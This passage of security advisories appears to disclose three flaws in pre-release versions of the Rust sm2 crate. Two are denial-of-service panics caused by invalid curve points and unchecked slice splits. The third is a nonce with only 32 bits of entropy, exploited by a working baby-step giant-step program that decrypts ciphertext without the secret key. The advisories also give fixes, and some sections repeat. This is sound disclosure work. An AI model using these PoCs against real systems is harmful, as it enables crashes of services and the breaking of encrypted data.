    der.push(body.len() as u8);
    der.extend(body);
    der
}

fn main() {
    let mut rng = OsRng;
    let sk = SecretKey::try_from_rng(&mut rng).expect("failed to generate secret key");
    let dk = DecryptingKey::new(sk);

    // x/y are 32-byte values that almost certainly are NOT on the curve
    let x = [0x11u8; 32];
    let y = [0x22u8; 32];
    let digest = [0x33u8; 32];
    let cipher = [0x44u8; 16];

    let der = build_der(&x, &y, &digest, &cipher);

    println!("Calling decrypt_der with DER (len={})...", der.len());

    // Expected to panic in decrypt() when validating the point (from_encoded_point().unwrap())
    let _ = dk.decrypt_der(&der);

    println!("decrypt_der returned (unexpected) - PoC did not panic");
}

Run locally:

RUST_BACKTRACE=1 cargo run --example poc_der_invalid_point --features std

The process will panic with a backtrace pointing to src/pke/decrypting.rs at the from_encoded_point(...).unwrap() call.

Impact

• Denial of Service: an attacker who can submit ciphertext (or DER ciphertext) can crash the decrypting thread/process.
• Low attacker effort: crafting random 32-byte X/Y values that are not on the curve is trivial.
• Wide exposure: any service that accepts ciphertext and links this library is vulnerable.

Recommended Fix

Do not call .unwrap() on the result of AffinePoint::from_encoded_point(). Instead, convert the CtOption to an Option (or inspect it) and return a library Err for invalid points. Example minimal fix:

    // Return an error instead of panicking when the provided point is not on the curve.
    let mut c1_point: AffinePoint = match AffinePoint::from_encoded_point(&encoded_c1).into() {
        Some(p) => p,
        None => return Err(Error),
    };

This ensures decrypt() returns a controlled error for invalid or malformed points instead of panicking.

Credit

This vulnerability was discovered by:

• XlabAI Team of Tencent Xuanwu Lab

• Atuin Automated Vulnerability Discovery Engine

CVE and credit are preferred.

If developers have any questions regarding the vulnerability details, please feel free to reach for further discussion via email at xlabai@tencent.com.

Note

This organization follows the security industry standard disclosure policy—the 90+30 policy (reference: https://googleprojectzero.blogspot.com/p/vulnerability-disclosure-policy.html). If the aforementioned vulnerabilities cannot be fixed within 90 days of submission, we reserve the right to publicly disclose all information about the issues after this timeframe.

Summary

A critical vulnerability exists in the SM2 Public Key Encryption (PKE) implementation where the ephemeral nonce k is generated with severely reduced entropy. A unit mismatch error causes the nonce generation function to request only 32 bits of randomness instead of the expected 256 bits. This reduces the security of the encryption from a 128-bit level to a trivial 16-bit level, allowing a practical attack to recover the nonce k and decrypt any ciphertext given only the public key and ciphertext.

Affected Versions

• sm2 0.14.0-rc.0 (https://crates.io/crates/sm2/0.14.0-rc.0)
• sm2 0.14.0-pre.0 (https://crates.io/crates/sm2/0.14.0-pre.0)

This vulnerability is introduced in commit: Commit 4781762 on Sep 6, 2024, which is over a year ago.

Details

The root cause of this vulnerability is a unit mismatch in the encrypt function located in sm2/src/pke/encrypting.rs.

1. The code correctly calculates the byte-length of the curve order (256 bits / 8 = 32 bytes) and stores it in a constant N_BYTES.

   const N_BYTES: u32 = Sm2::ORDER.as_ref().bits().div_ceil(8); // Value is 32 (bytes)
   

2. However, this N_BYTES value is then passed to the next_k helper function, which incorrectly interprets this value as a bit length.

   let k = Scalar::from_uint(&next_k(rng, N_BYTES)?).unwrap();
   

3. Inside next_k, the bit_length parameter (which holds the value 32) is passed directly to U256::try_random_bits, a function that generates a random number with the specified number of bits.

   fn next_k<R: TryCryptoRng + ?Sized>(rng: &mut R, bit_length: u32) -> Result<U256> {
       let k = U256::try_random_bits(rng, bit_length).map_err(|_| Error)?;
       // ...
   }
   

   As a result, the ephemeral nonce k is generated with only 32 bits of entropy, with its upper 224 bits being zero. This catastrophic loss of randomness makes the encryption scheme insecure.

PoC

A proof-of-concept demonstrating the feasibility of this attack is provided in examples/bsgs_recover.rs. The PoC performs the following steps:

1. Encrypt a Message: It uses the vulnerable EncryptingKey::encrypt function to encrypt a sample message.
2. Extract Ephemeral Public Key: It parses the ciphertext to extract C1, which is the ephemeral public key [k]G.
3. Recover Nonce k: It runs a Baby-Step Giant-Step (BSGS) algorithm to search the reduced 2^32 search space for the nonce k. This attack is computationally feasible on modern hardware in seconds with time complexity O(2^16).
4. Decrypt without Secret Key: Once k is recovered, it computes the shared secret [k]PB (where PB is the recipient's public key) and successfully decrypts the ciphertext without access to the recipient's secret key.

examples/bsgs_recover.rs

//! Example: Recover low-entropy nonce k via Baby-Step Giant-Step (BSGS)
//!
//! This example intentionally demonstrates an attack on the vulnerable
//! `EncryptingKey::encrypt` implementation which (in the current repository
//! state) may generate k with only 32 bits of entropy. The example:
//! - Generates a key pair and encrypts a short plaintext.
//! - Extracts C1 from the ciphertext (ephemeral public key [k]G).
//! - Runs BSGS over the reduced search space 2^32 to recover k and decrypt: time O(2^16), space O(2^16).
//!

use std::collections::HashMap;
use std::error::Error;

use rand_core::OsRng;

use sm2::{
    pke::Mode,
    pke::EncryptingKey,
    PublicKey,
    SecretKey,
    AffinePoint,
    ProjectivePoint,
    Scalar,
};
use elliptic_curve::bigint::U256;
use elliptic_curve::{Group, Curve};
use elliptic_curve::sec1::{FromEncodedPoint, ToEncodedPoint};
use sm3::{Sm3, Digest};

/// Baby-step giant-step over the 32-bit search space.
fn bsgs_recover_k(c1: &AffinePoint) -> Option<U256> {
    // search parameters
    let m: u32 = 1 << 16; // baby/giant step size -> covers 2^32 space

    // baby steps: j*G -> j
    let mut baby: HashMap<Vec<u8>, u32> = HashMap::with_capacity(m as usize + 1);
    for j in 0..m {
        let j_u256 = U256::from_u32(j);
        let s = Scalar::from_uint(&j_u256).unwrap();
        let p = ProjectivePoint::mul_by_generator(&s).to_affine();
        let ep = p.to_encoded_point(false);
        baby.insert(ep.as_bytes().to_vec(), j);
    }

    // giant steps
    for i in 0..=m {
        let im = (i as u64) * (m as u64);
        let im_u256 = U256::from_u64(im);
        let im_scalar = Scalar::from_uint(&im_u256).unwrap();
        let im_point = ProjectivePoint::mul_by_generator(&im_scalar).to_affine();

        // candidate = C1 - im_point
        let c1_proj = ProjectivePoint::from(c1);
        let im_proj = ProjectivePoint::from(&im_point);
        let candidate_proj = c1_proj + (-im_proj);
        let candidate = candidate_proj.to_affine();
        let cand_bytes = candidate.to_encoded_point(false).as_bytes().to_vec();

        if let Some(&j) = baby.get(&cand_bytes) {
            let k_recovered = im + (j as u64);
            return Some(U256::from_u64(k_recovered));
        }
    }
    None
}

/// KDF using SM3 (re-implementation of crate internal `kdf`).
fn kdf_sm3(kpb: AffinePoint, c2: &mut [u8]) {
    let mut hasher = Sm3::new();
    let klen = c2.len();
    let mut ct: u32 = 0x00000001;
    let digest_size = 32usize; // SM3 output is 32 bytes
    let mut ha = vec![0u8; digest_size];
    let encode_point = kpb.to_encoded_point(false);

    let mut offset = 0usize;
    while offset < klen {
        hasher.update(encode_point.x().unwrap());
        hasher.update(encode_point.y().unwrap());
        hasher.update(&ct.to_be_bytes());
        let out = hasher.finalize_reset();
        ha.copy_from_slice(out.as_slice());

        let xor_len = core::cmp::min(digest_size, klen - offset);
        for i in 0..xor_len {
            c2[offset + i] ^= ha[i];
        }
        offset += xor_len;
        ct = ct.wrapping_add(1);
    }
}

/// Decrypt ciphertext given recovered k and recipient public key (without secret key).
fn decrypt_with_k(pubkey: &PublicKey, k: U256, ciphertext: &[u8], mode: Mode) -> Result<Vec<u8>, Box<dyn Error>> {
    // parse c1
    let n_bytes = sm2::Sm2::ORDER.as_ref().bits().div_ceil(8) as usize; // 32
    let c1_len = n_bytes * 2 + 1;
    if ciphertext.len() < c1_len {
        return Err("ciphertext too short".into());
    }
    let (_c1_bytes, rest) = ciphertext.split_at(c1_len);

    // derive shared point hpb = [h*k]PB; for SM2 cofactor h == 1 so this is [k]PB
    let pb_affine = pubkey.as_affine();
    let k_scalar = Scalar::from_uint(&k).unwrap();
    let s = *pb_affine; // cofactor h == 1
    let hpb = (s * k_scalar).to_affine();

    // split rest into c2 and c3 depending on mode
    let digest_size = 32usize; // SM3 output size
    let (c2_slice, c3_slice) = match mode {
        Mode::C1C2C3 => {
            let c2_len = rest.len() - digest_size;
            rest.split_at(c2_len)
        }
        Mode::C1C3C2 => {
            let (c3, c2) = rest.split_at(digest_size);
            (c2, c3)
        }
    };

    let mut c2 = c2_slice.to_owned();
    // KDF to recover plaintext
    kdf_sm3(hpb, &mut c2);

    // verify c3
    let mut check = Sm3::new();
    let enc = hpb.to_encoded_point(false);
    check.update(enc.x().unwrap());
    check.update(&c2);
    check.update(enc.y().unwrap());
    let out = check.finalize_reset();
    if out.as_slice() != c3_slice {
        return Err("c3 verification failed".into());
    }

    Ok(c2)
}

/// High-level: given ciphertext and recipient public key, recover k via BSGS and decrypt.
fn recover_and_decrypt(pubkey: &PublicKey, ciphertext: &[u8], mode: Mode) -> Result<Vec<u8>, Box<dyn Error>> {
    // extract C1
    let n_bytes = sm2::Sm2::ORDER.as_ref().bits().div_ceil(8) as usize; // 32
    let c1_len = n_bytes * 2 + 1;
    let (c1_bytes, _rest) = ciphertext.split_at(c1_len);
    let encoded = sm2::EncodedPoint::from_bytes(c1_bytes)?;
    let c1_affine = AffinePoint::from_encoded_point(&encoded).unwrap();

    if let Some(k) = bsgs_recover_k(&c1_affine) {
        println!("recovered k = 0x{:x}", k);
        let plain = decrypt_with_k(pubkey, k, ciphertext, mode)?;
        return Ok(plain);
    }
    Err("failed to recover k".into())
}

fn main() -> Result<(), Box<dyn Error>> {
    // demo: generate keypair, encrypt, then recover and decrypt without secret key
    let mut rng = OsRng;
    let sk = SecretKey::try_from_rng(&mut rng)?;
    let pk = sk.public_key();
    let ek = EncryptingKey::new_with_mode(pk, Mode::C1C2C3);
    let msg = b"attack-demo-sm2-bsgs-recover-example";
    let ct = ek.encrypt(&mut rng, msg)?;
    print!("Trying to recover k and decrypt...\n");
    let recovered = recover_and_decrypt(&pk, &ct, Mode::C1C2C3)?;
    println!("recovered plaintext: {}", std::str::from_utf8(&recovered)?);
    Ok(())
}

To run the PoC (tested on Apple M3):

$ time cargo run --example bsgs_recover 
Trying to recover k and decrypt...
recovered k = 0x00000000000000000000000000000000000000000000000000000000ca4f2d79
recovered plaintext: attack-demo-sm2-bsgs-recover-example
cargo run --example bsgs_recover  14.44s user 0.13s system 89% cpu 16.266 total

Impact

This vulnerability leads to a complete loss of confidentiality for all data encrypted using the SM2 PKE implementation in this library. Any attacker who obtains a ciphertext can recover the plaintext in a feasible amount of time (several seconds).

The severity is Critical, as it breaks the core security promise of the public key encryption scheme. All versions of the sm2 crate with the vulnerable PKE implementation are affected.

• Fix 1: Modify the input parameter to the correct 256 bits

  let k_uint = next_k(rng, N_BYTES * 8)?;
  

• Fix 2: We believe that the next_k function should only generate a 256-bit nonce to ensure security, therefore the parameter is unnecessary.

  fn next_k<R: TryCryptoRng + ?Sized>(rng: &mut R) -> Result<U256> {
      loop {
          let k = U256::try_random_bits(rng, 256).map_err(|_| Error)?;
          if !bool::from(k.is_zero()) && k < *Sm2::ORDER {
              return Ok(k);
          }
      }
  }
  

Credit

This vulnerability was discovered by:

• XlabAI Team of Tencent Xuanwu Lab
• Atuin Automated Vulnerability Discovery Engine

CVE and credit are preferred.

If developers have any questions regarding the vulnerability details, please feel free to reach out for further discussion via email at xlabai@tencent.com.

Note

SM2 follows the security industry standard disclosure policy—the 90+30 policy (reference: https://googleprojectzero.blogspot.com/p/vulnerability-disclosure-policy.html). If the aforementioned vulnerabilities cannot be fixed within 90 days of submission, the organization reserves the right to publicly disclose all information about the issues after this timeframe.

Summary

A denial-of-service vulnerability exists in the SM2 public-key encryption (PKE) implementation: the decrypt() path performs unchecked slice::split_at operations on input buffers derived from untrusted ciphertext. An attacker can submit short/undersized ciphertext or carefully-crafted DER-encoded structures to trigger bounds-check panics (Rust unwinding) which crash the calling thread or process.

Affected Component / Versions

• File: src/pke/decrypting.rs

• Functions: DecryptingKey::decrypt_digest/decrypt/decrypt_der, internal decrypt() implementation

• Affected releases:

  • sm2 0.14.0-rc.0 (https://crates.io/crates/sm2/0.14.0-rc.0)
  • sm2 0.14.0-pre.0 (https://crates.io/crates/sm2/0.14.0-pre.0)

Details

The vulnerability is located in the file sm2/src/pke/decrypting.rs. The fundamental cause of the vulnerability is that the decryption function does not strictly check the ciphertext's format and length information. Consequently, a maliciously crafted ciphertext can trigger Rust's panic mechanism instead of the expected error handling (Error) mechanism. The Rust function C.split_at(L) will trigger a Panic if the length is less than L, as shown in the code comment below: the decrypting function has at least three locations where a slice operation might trigger a Panic.

fn decrypt(
    secret_scalar: &Scalar,
    mode: Mode,
    hasher: &mut dyn DynDigest,
    cipher: &[u8],
) -> Result<Vec<u8>> {
    let q = U256::from_be_hex(FieldElement::MODULUS);
    let c1_len = q.bits().div_ceil(8) * 2 + 1;  // Typically 65 for SM2

    // B1: get 𝐶1 from 𝐶
    let (c1, c) = cipher.split_at(c1_len as usize);  // PANIC HERE if cipher.len() < 65
    let encoded_c1 = EncodedPoint::from_bytes(c1).map_err(Error::from)?;

    // ... (lines 170-178 omitted)

    let digest_size = hasher.output_size();  // Typically 32 for SM3
    let (c2, c3) = match mode {
        Mode::C1C3C2 => {
            let (c3, c2) = c.split_at(digest_size);  // PANIC HERE if c.len() < 32
            (c2, c3)
        }
        Mode::C1C2C3 => c.split_at(c.len() - digest_size),  // PANIC HERE if c.len() < 32
    };

Rust's slice::split_at panics when the split index is greater than the slice length. A panic in library code typically unwinds the thread and can crash an application if not explicitly caught. This means an attacker that can submit ciphertexts to a service using this library may cause a DoS.

Proof of Concept (PoC)

Two PoCs were added to this repository under examples/ demonstrating the two common ways to trigger the issue:

• examples/poc_short_ciphertext.rs — constructs a deliberately undersized ciphertext (e.g., vec![0u8; 10]) and passes it to DecryptingKey::decrypt. This triggers the cipher.split_at(c1_len) panic.

  //! PoC: trigger panic in SM2 decryption by supplying a ciphertext that is shorter
  //! than the expected C1 length so that `cipher.split_at(c1_len)` panics.
  //!
  //! Usage:
  //!   cargo run --example poc_short_ciphertext
  
  use rand_core::OsRng;
  
  use sm2::pke::DecryptingKey;
  use sm2::SecretKey;
  
  fn main() {
      // Generate a normal secret key and DecryptingKey instance.
      let mut rng = OsRng;
      let sk = SecretKey::try_from_rng(&mut rng).expect("failed to generate secret key");
      let dk = DecryptingKey::new(sk);
  
      // to trigger the vulnerability in `decrypt()` where it does `cipher.split_at(c1_len)`.
      let short_ciphertext = vec![0u8; 10]; // deliberately too short
  
      println!("Calling decrypt with undersized ciphertext (len = {})...", short_ciphertext.len());
  
      // The panic is the PoC for the lack of length validation.
      let _ = dk.decrypt(&short_ciphertext);
  
      // If the library were robust, this line would be reached and decrypt would return Err.
      println!("decrypt returned (unexpected) - PoC did not panic");
  }
  

• examples/poc_der_short.rs — constructs an ASN.1 Cipher structure with valid-length x/y coordinates (from a generated public key) but with tiny digest and cipher OCTET STRING fields (1 byte each). When run with the crate built with --features std, Cipher::from_der accepts the DER and the call flows into decrypt(), which then panics on the later split_at.

  //! Usage:
  //!   RUST_BACKTRACE=1 cargo run --example poc_der_short --features std
  
  use rand_core::OsRng;
  use sm2::SecretKey;
  use sm2::pke::DecryptingKey;
  
  fn build_der(x: &[u8], y: &[u8], digest: &[u8], cipher: &[u8]) -> Vec<u8> {
      // Build SEQUENCE { INTEGER x, INTEGER y, OCTET STRING digest, OCTET STRING cipher }
      let mut body = Vec::new();
  
      // INTEGER x
      body.push(0x02);
      body.push(x.len() as u8);
      body.extend_from_slice(x);
  
      // INTEGER y
      body.push(0x02);
      body.push(y.len() as u8);
      body.extend_from_slice(y);
  
      // OCTET STRING digest (intentionally tiny)
      body.push(0x04);
      body.push(digest.len() as u8);
      body.extend_from_slice(digest);
  
      // OCTET STRING cipher (intentionally tiny)
      body.push(0x04);
      body.push(cipher.len() as u8);
      body.extend_from_slice(cipher);
  
      // SEQUENCE header
      let mut der = Vec::new();
      der.push(0x30);
      der.push(body.len() as u8);
      der.extend(body);
      der
  }
  
  fn main() {
      let mut rng = OsRng;
      let sk = SecretKey::try_from_rng(&mut rng).expect("failed to generate secret key");
      // Extract recipient public key coordinates before moving the secret key into DecryptingKey
      let pk = sk.public_key();
      let dk = DecryptingKey::new(sk);
      // get SEC1 encoding 0x04 || X || Y and slice out X and Y
      let sec1 = pk.to_sec1_bytes();
      let sec1_ref: &[u8] = sec1.as_ref();
      let x = &sec1_ref[1..33];
      let y = &sec1_ref[33..65];
      // Very small digest and cipher to trigger length-based panics inside decrypt()
      let digest = [0x33u8; 1];
      let cipher = [0x44u8; 1];
  
      let der = build_der(x, y, &digest, &cipher);
  
      println!("Calling decrypt_der with crafted short DER (len={})...", der.len());
  
      // Expected to panic inside decrypt() due to missing length checks when splitting
      let _ = dk.decrypt_der(&der);
  
      println!("decrypt_der returned (unexpected) - PoC did not panic");
  }
  

Reproduction (from repository root):

# PoC that directly uses decrypt on a short buffer
cargo run --example poc_short_ciphertext --features std

# PoC that passes a short DER to decrypt_der
RUST_BACKTRACE=1 cargo run --example poc_der_short --features std

Impact

• Direct Denial of Service: remote untrusted input can crash the thread/process handling decryption.
• Low attacker effort: crafting short inputs or small DER octet strings is trivial.
• Wide exposure: any application that exposes decryption endpoints and links this library is at risk.

Recommended Fix

Perform defensive length checks before any split_at usage and return a controlled Err instead of allowing a panic. Minimal fixes in decrypt():

let c1_len_usize = c1_len as usize;
if cipher.len() < c1_len_usize {
    return Err(Error);
}
let (c1, c) = cipher.split_at(c1_len_usize);

let digest_size = hasher.output_size();
if c.len() < digest_size {
    return Err(Error);
}
let (c2, c3) = match mode {
    Mode::C1C3C2 => {
        let (c3, c2) = c.split_at(digest_size);
        (c2, c3)
    }
    Mode::C1C2C3 => c.split_at(c.len() - digest_size),
};

After applying these checks, decrypt() will return an error for short or malformed inputs instead of panicking.

Credit

This vulnerability was discovered by:

• XlabAI Team of Tencent Xuanwu Lab

• Atuin Automated Vulnerability Discovery Engine

CVE and credit are preferred.

If you have any questions regarding the vulnerability details, please feel free to reach out to us for further discussion. Our email address is xlabai@tencent.com.

Note

We follow the security industry standard disclosure policy—the 90+30 policy (reference: https://googleprojectzero.blogspot.com/p/vulnerability-disclosure-policy.html). If the aforementioned vulnerabilities cannot be fixed within 90 days of submission, we reserve the right to publicly disclose all information about the issues after this timeframe.

Summary

A denial-of-service vulnerability exists in the SM2 PKE decryption path where an invalid elliptic-curve point (C1) is decoded and the resulting value is unwrapped without checking. Specifically, AffinePoint::from_encoded_point(&encoded_c1) may return a None/CtOption::None when the supplied coordinates are syntactically valid but do not lie on the SM2 curve. The calling code previously used .unwrap(), causing a panic when presented with such input.

Affected Component / Versions

• File: src/pke/decrypting.rs

• Function: internal decrypt() (invoked by DecryptingKey::decrypt* methods)

• Affected releases:

  • sm2 0.14.0-rc.0 (https://crates.io/crates/sm2/0.14.0-rc.0)
  • sm2 0.14.0-pre.0 (https://crates.io/crates/sm2/0.14.0-pre.0)

Details

The library decodes the C1 field (an EC point) as an EncodedPoint and then converts it to an AffinePoint using AffinePoint::from_encoded_point(&encoded_c1). That conversion returns a CtOption<AffinePoint> (or an Option equivalent) which will indicate failure when the coordinates do not satisfy the curve equation. The code then called .unwrap() on that result, causing a panic when None was returned. Because EncodedPoint::from_bytes() only validates format (length and SEC1 encoding) and not mathematical validity, an attacker can craft C1 = 0x04 || X || Y with X and Y of the right length that nonetheless do not satisfy the curve. Such inputs will pass the format check but trigger from_encoded_point() failure and therefore panic on .unwrap().

Proof of Concept (PoC)

examples/poc_der_invalid_point.rs constructs an ASN.1 DER Cipher structure with x and y set to arbitrary 32-byte values (e.g., repeating 0x11 and 0x22), and passes it to DecryptingKey::decrypt_der. With the vulnerable code, this produces a panic originating at the unwrap() call in decrypt(). Other APIs such as DecryptingKey::decrypt also produce a panic with invalid C1 point.

//! PoC: trigger invalid-point panic via `decrypt_der` by providing ASN.1 DER
//! where x/y are valid-length integers but do not lie on the curve.
//!
//! Usage:
//!   RUST_BACKTRACE=1 cargo run --example poc_der_invalid_point

use rand_core::OsRng;
use sm2::SecretKey;
use sm2::pke::DecryptingKey;

fn build_der(x: &[u8], y: &[u8], digest: &[u8], cipher: &[u8]) -> Vec<u8> {
    // Build SEQUENCE { INTEGER x, INTEGER y, OCTET STRING digest, OCTET STRING cipher }
    let mut body = Vec::new();

    // INTEGER x
    body.push(0x02);
    body.push(x.len() as u8);
    body.extend_from_slice(x);

    // INTEGER y
    body.push(0x02);
    body.push(y.len() as u8);
    body.extend_from_slice(y);

    // OCTET STRING digest
    body.push(0x04);
    body.push(digest.len() as u8);
    body.extend_from_slice(digest);

    // OCTET STRING cipher
    body.push(0x04);
    body.push(cipher.len() as u8);
    body.extend_from_slice(cipher);

    // SEQUENCE header
    let mut der = Vec::new();
    der.push(0x30);
    der.push(body.len() as u8);
    der.extend(body);
    der
}

fn main() {
    let mut rng = OsRng;
    let sk = SecretKey::try_from_rng(&mut rng).expect("failed to generate secret key");
    let dk = DecryptingKey::new(sk);

    // x/y are 32-byte values that almost certainly are NOT on the curve
    let x = [0x11u8; 32];
    let y = [0x22u8; 32];
    let digest = [0x33u8; 32];
    let cipher = [0x44u8; 16];

    let der = build_der(&x, &y, &digest, &cipher);

    println!("Calling decrypt_der with DER (len={})...", der.len());

    // Expected to panic in decrypt() when validating the point (from_encoded_point().unwrap())
    let _ = dk.decrypt_der(&der);

    println!("decrypt_der returned (unexpected) - PoC did not panic");
}

Run locally:

RUST_BACKTRACE=1 cargo run --example poc_der_invalid_point --features std

The process will panic with a backtrace pointing to src/pke/decrypting.rs at the from_encoded_point(...).unwrap() call.

Impact

• Denial of Service: an attacker who can submit ciphertext (or DER ciphertext) can crash the decrypting thread/process.
• Low attacker effort: crafting random 32-byte X/Y values that are not on the curve is trivial.
• Wide exposure: any service that accepts ciphertext and links this library is vulnerable.

Recommended Fix

Do not call .unwrap() on the result of AffinePoint::from_encoded_point(). Instead, convert the CtOption to an Option (or inspect it) and return a library Err for invalid points. Example minimal fix:

    // Return an error instead of panicking when the provided point is not on the curve.
    let mut c1_point: AffinePoint = match AffinePoint::from_encoded_point(&encoded_c1).into() {
        Some(p) => p,
        None => return Err(Error),
    };

This ensures decrypt() returns a controlled error for invalid or malformed points instead of panicking.

Credit

This vulnerability was discovered by:

• XlabAI Team of Tencent Xuanwu Lab

• Atuin Automated Vulnerability Discovery Engine

CVE and credit are preferred.

If developers have any questions regarding the vulnerability details, please feel free to reach for further discussion via email at xlabai@tencent.com.

Note

This organization follows the security industry standard disclosure policy—the 90+30 policy (reference: https://googleprojectzero.blogspot.com/p/vulnerability-disclosure-policy.html). If the aforementioned vulnerabilities cannot be fixed within 90 days of submission, we reserve the right to publicly disclose all information about the issues after this timeframe.

Summary

A critical vulnerability exists in the SM2 Public Key Encryption (PKE) implementation where the ephemeral nonce k is generated with severely reduced entropy. A unit mismatch error causes the nonce generation function to request only 32 bits of randomness instead of the expected 256 bits. This reduces the security of the encryption from a 128-bit level to a trivial 16-bit level, allowing a practical attack to recover the nonce k and decrypt any ciphertext given only the public key and ciphertext.

Affected Versions

• sm2 0.14.0-rc.0 (https://crates.io/crates/sm2/0.14.0-rc.0)
• sm2 0.14.0-pre.0 (https://crates.io/crates/sm2/0.14.0-pre.0)

This vulnerability is introduced in commit: Commit 4781762 on Sep 6, 2024, which is over a year ago.

Details

The root cause of this vulnerability is a unit mismatch in the encrypt function located in sm2/src/pke/encrypting.rs.

1. The code correctly calculates the byte-length of the curve order (256 bits / 8 = 32 bytes) and stores it in a constant N_BYTES.

   const N_BYTES: u32 = Sm2::ORDER.as_ref().bits().div_ceil(8); // Value is 32 (bytes)
   

2. However, this N_BYTES value is then passed to the next_k helper function, which incorrectly interprets this value as a bit length.

   let k = Scalar::from_uint(&next_k(rng, N_BYTES)?).unwrap();
   

3. Inside next_k, the bit_length parameter (which holds the value 32) is passed directly to U256::try_random_bits, a function that generates a random number with the specified number of bits.

   fn next_k<R: TryCryptoRng + ?Sized>(rng: &mut R, bit_length: u32) -> Result<U256> {
       let k = U256::try_random_bits(rng, bit_length).map_err(|_| Error)?;
       // ...
   }
   

   As a result, the ephemeral nonce k is generated with only 32 bits of entropy, with its upper 224 bits being zero. This catastrophic loss of randomness makes the encryption scheme insecure.

PoC

A proof-of-concept demonstrating the feasibility of this attack is provided in examples/bsgs_recover.rs. The PoC performs the following steps:

1. Encrypt a Message: It uses the vulnerable EncryptingKey::encrypt function to encrypt a sample message.
2. Extract Ephemeral Public Key: It parses the ciphertext to extract C1, which is the ephemeral public key [k]G.
3. Recover Nonce k: It runs a Baby-Step Giant-Step (BSGS) algorithm to search the reduced 2^32 search space for the nonce k. This attack is computationally feasible on modern hardware in seconds with time complexity O(2^16).
4. Decrypt without Secret Key: Once k is recovered, it computes the shared secret [k]PB (where PB is the recipient's public key) and successfully decrypts the ciphertext without access to the recipient's secret key.

examples/bsgs_recover.rs

//! Example: Recover low-entropy nonce k via Baby-Step Giant-Step (BSGS)
//!
//! This example intentionally demonstrates an attack on the vulnerable
//! `EncryptingKey::encrypt` implementation which (in the current repository
//! state) may generate k with only 32 bits of entropy. The example:
//! - Generates a key pair and encrypts a short plaintext.
//! - Extracts C1 from the ciphertext (ephemeral public key [k]G).
//! - Runs BSGS over the reduced search space 2^32 to recover k and decrypt: time O(2^16), space O(2^16).
//!

use std::collections::HashMap;
use std::error::Error;

use rand_core::OsRng;

use sm2::{
    pke::Mode,
    pke::EncryptingKey,
    PublicKey,
    SecretKey,
    AffinePoint,
    ProjectivePoint,
    Scalar,
};
use elliptic_curve::bigint::U256;
use elliptic_curve::{Group, Curve};
use elliptic_curve::sec1::{FromEncodedPoint, ToEncodedPoint};
use sm3::{Sm3, Digest};

/// Baby-step giant-step over the 32-bit search space.
fn bsgs_recover_k(c1: &AffinePoint) -> Option<U256> {
    // search parameters
    let m: u32 = 1 << 16; // baby/giant step size -> covers 2^32 space

    // baby steps: j*G -> j
    let mut baby: HashMap<Vec<u8>, u32> = HashMap::with_capacity(m as usize + 1);
    for j in 0..m {
        let j_u256 = U256::from_u32(j);
        let s = Scalar::from_uint(&j_u256).unwrap();
        let p = ProjectivePoint::mul_by_generator(&s).to_affine();
        let ep = p.to_encoded_point(false);
        baby.insert(ep.as_bytes().to_vec(), j);
    }

    // giant steps
    for i in 0..=m {
        let im = (i as u64) * (m as u64);
        let im_u256 = U256::from_u64(im);
        let im_scalar = Scalar::from_uint(&im_u256).unwrap();
        let im_point = ProjectivePoint::mul_by_generator(&im_scalar).to_affine();

        // candidate = C1 - im_point
        let c1_proj = ProjectivePoint::from(c1);
        let im_proj = ProjectivePoint::from(&im_point);
        let candidate_proj = c1_proj + (-im_proj);
        let candidate = candidate_proj.to_affine();
        let cand_bytes = candidate.to_encoded_point(false).as_bytes().to_vec();

        if let Some(&j) = baby.get(&cand_bytes) {
            let k_recovered = im + (j as u64);
            return Some(U256::from_u64(k_recovered));
        }
    }
    None
}

/// KDF using SM3 (re-implementation of crate internal `kdf`).
fn kdf_sm3(kpb: AffinePoint, c2: &mut [u8]) {
    let mut hasher = Sm3::new();
    let klen = c2.len();
    let mut ct: u32 = 0x00000001;
    let digest_size = 32usize; // SM3 output is 32 bytes
    let mut ha = vec![0u8; digest_size];
    let encode_point = kpb.to_encoded_point(false);

    let mut offset = 0usize;
    while offset < klen {
        hasher.update(encode_point.x().unwrap());
        hasher.update(encode_point.y().unwrap());
        hasher.update(&ct.to_be_bytes());
        let out = hasher.finalize_reset();
        ha.copy_from_slice(out.as_slice());

        let xor_len = core::cmp::min(digest_size, klen - offset);
        for i in 0..xor_len {
            c2[offset + i] ^= ha[i];
        }
        offset += xor_len;
        ct = ct.wrapping_add(1);
    }
}

/// Decrypt ciphertext given recovered k and recipient public key (without secret key).
fn decrypt_with_k(pubkey: &PublicKey, k: U256, ciphertext: &[u8], mode: Mode) -> Result<Vec<u8>, Box<dyn Error>> {
    // parse c1
    let n_bytes = sm2::Sm2::ORDER.as_ref().bits().div_ceil(8) as usize; // 32
    let c1_len = n_bytes * 2 + 1;
    if ciphertext.len() < c1_len {
        return Err("ciphertext too short".into());
    }
    let (_c1_bytes, rest) = ciphertext.split_at(c1_len);

    // derive shared point hpb = [h*k]PB; for SM2 cofactor h == 1 so this is [k]PB
    let pb_affine = pubkey.as_affine();
    let k_scalar = Scalar::from_uint(&k).unwrap();
    let s = *pb_affine; // cofactor h == 1
    let hpb = (s * k_scalar).to_affine();

    // split rest into c2 and c3 depending on mode
    let digest_size = 32usize; // SM3 output size
    let (c2_slice, c3_slice) = match mode {
        Mode::C1C2C3 => {
            let c2_len = rest.len() - digest_size;
            rest.split_at(c2_len)
        }
        Mode::C1C3C2 => {
            let (c3, c2) = rest.split_at(digest_size);
            (c2, c3)
        }
    };

    let mut c2 = c2_slice.to_owned();
    // KDF to recover plaintext
    kdf_sm3(hpb, &mut c2);

    // verify c3
    let mut check = Sm3::new();
    let enc = hpb.to_encoded_point(false);
    check.update(enc.x().unwrap());
    check.update(&c2);
    check.update(enc.y().unwrap());
    let out = check.finalize_reset();
    if out.as_slice() != c3_slice {
        return Err("c3 verification failed".into());
    }

    Ok(c2)
}

/// High-level: given ciphertext and recipient public key, recover k via BSGS and decrypt.
fn recover_and_decrypt(pubkey: &PublicKey, ciphertext: &[u8], mode: Mode) -> Result<Vec<u8>, Box<dyn Error>> {
    // extract C1
    let n_bytes = sm2::Sm2::ORDER.as_ref().bits().div_ceil(8) as usize; // 32
    let c1_len = n_bytes * 2 + 1;
    let (c1_bytes, _rest) = ciphertext.split_at(c1_len);
    let encoded = sm2::EncodedPoint::from_bytes(c1_bytes)?;
    let c1_affine = AffinePoint::from_encoded_point(&encoded).unwrap();

    if let Some(k) = bsgs_recover_k(&c1_affine) {
        println!("recovered k = 0x{:x}", k);
        let plain = decrypt_with_k(pubkey, k, ciphertext, mode)?;
        return Ok(plain);
    }
    Err("failed to recover k".into())
}

fn main() -> Result<(), Box<dyn Error>> {
    // demo: generate keypair, encrypt, then recover and decrypt without secret key
